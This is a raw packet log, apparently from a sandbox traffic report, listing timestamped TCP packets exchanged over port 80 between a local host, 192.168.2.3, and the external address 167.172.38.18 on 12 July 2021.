Jul 12, 2021 11:50:35.930262089 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930309057 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930310965 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930360079 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930361032 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930408001 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930509090 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930567026 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930569887 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930620909 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930629015 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930670977 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930676937 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930726051 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930747986 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930783987 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930803061 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930830002 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930835009 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930875063 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930887938 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930910110 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930922031 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930938005 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.930954933 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.930988073 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.931008101 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.931046963 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.931057930 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.931086063 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.931088924 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.931134939 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.947626114 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.947663069 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.947684050 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.947750092 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.947782993 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.954004049 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.954073906 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.954094887 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.954148054 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.964946032 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.964971066 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.964989901 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965007067 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965007067 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965028048 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965033054 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965049028 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965058088 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965069056 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965076923 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965089083 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965097904 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965107918 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965125084 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965147018 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965166092 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965200901 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965212107 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965221882 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965254068 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965259075 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965277910 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965298891 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965303898 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965322018 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965348959 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965370893 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965396881 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965447903 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965457916 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965471029 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965490103 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965493917 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965507984 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965516090 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965553045 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965590000 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965607882 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965626001 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965636969 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965642929 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965658903 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965677977 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965687990 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965711117 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965727091 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965728998 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965789080 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965795040 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965837002 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965861082 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965883017 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965902090 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965915918 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965931892 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965933084 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.965956926 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965976954 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.965986967 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966031075 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966032982 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966064930 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966073990 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966083050 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966100931 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966109037 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966131926 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966131926 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966150999 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966159105 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966177940 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966202974 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966221094 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966238976 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966264009 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966264009 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966289043 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966308117 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966376066 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966401100 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966419935 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966425896 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966439009 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966454029 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966473103 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966487885 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966516018 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966562033 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966589928 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966609001 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966630936 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966659069 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966675997 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966702938 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966708899 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966726065 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966730118 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966753006 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966774940 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966826916 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966867924 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966878891 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966886044 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966903925 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966911077 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966922045 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966929913 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966939926 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966953039 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.966958046 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966976881 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.966980934 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.967006922 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.967012882 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.967031002 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.967039108 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.967072010 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.967097044 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.967099905 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.967138052 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.967143059 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.967158079 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.967175961 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.967185974 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.967189074 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.967247963 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.967253923 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.967274904 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.967282057 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.967292070 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:35.967304945 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.967343092 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:35.979907990 CEST	49747	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:36.003807068 CEST	80	49747	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:36.379376888 CEST	49746	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:36.452315092 CEST	80	49746	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:36.495400906 CEST	80	49746	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:36.495429039 CEST	80	49746	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:36.495659113 CEST	49746	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:36.502006054 CEST	49746	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:36.533468962 CEST	80	49746	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.099951029 CEST	49748	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.100111008 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.123934031 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.124139071 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.124752998 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.132069111 CEST	80	49748	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.132668018 CEST	49748	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.192207098 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.613775015 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.613816023 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.613841057 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.613858938 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.613877058 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.613894939 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.613976002 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.614039898 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.615417004 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.615447044 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.615466118 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.615500927 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.615600109 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.615647078 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.638027906 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.641973972 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.656111956 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656212091 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656276941 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656335115 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656400919 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.656425953 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.656440973 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656497002 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.656512976 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656569958 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.656584024 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656631947 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.656646013 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656692982 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.656708956 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656757116 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.656770945 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656817913 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.656832933 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656897068 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.656940937 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.656999111 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.657233000 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.657299042 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.657357931 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.657358885 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.657412052 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.657447100 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.657500029 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.657509089 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.657557964 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.657568932 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.657660961 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.666726112 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.666771889 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.666805983 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.666836977 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.666878939 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.681711912 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.681909084 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.700999022 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701040030 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701065063 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701091051 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701114893 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701128006 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701139927 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701173067 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701200962 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701226950 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701231003 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701256990 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701276064 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701280117 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701302052 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701319933 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701334000 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701344967 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701360941 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701379061 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701385021 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701412916 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701431036 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701436043 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701440096 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701456070 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701464891 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701481104 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701491117 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701514959 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701515913 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701539040 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701539993 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701565027 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701565981 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701590061 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701591015 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701617002 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701618910 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701641083 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701643944 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701664925 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701673031 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701689959 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701699972 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701714039 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701730967 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701740026 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701765060 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701787949 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701788902 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701806068 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701817989 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701842070 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701849937 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701867104 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701889038 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701893091 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701916933 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701935053 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701941013 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701958895 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.701966047 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.701991081 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.702002048 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.702018976 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.702030897 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.702045918 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.702066898 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.702107906 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.706465006 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.706571102 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.706588984 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.706667900 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.725811005 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.729343891 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.739589930 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.739655018 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.739696026 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.739757061 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.739785910 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.739798069 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.739825010 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.739837885 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.739860058 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.739878893 CEST	80	49749	167.172.38.18	192.168.2.3
